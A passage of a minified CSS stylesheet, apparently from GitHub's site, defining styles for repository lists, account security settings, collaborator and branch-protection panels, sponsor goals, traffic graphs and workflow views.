.repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table 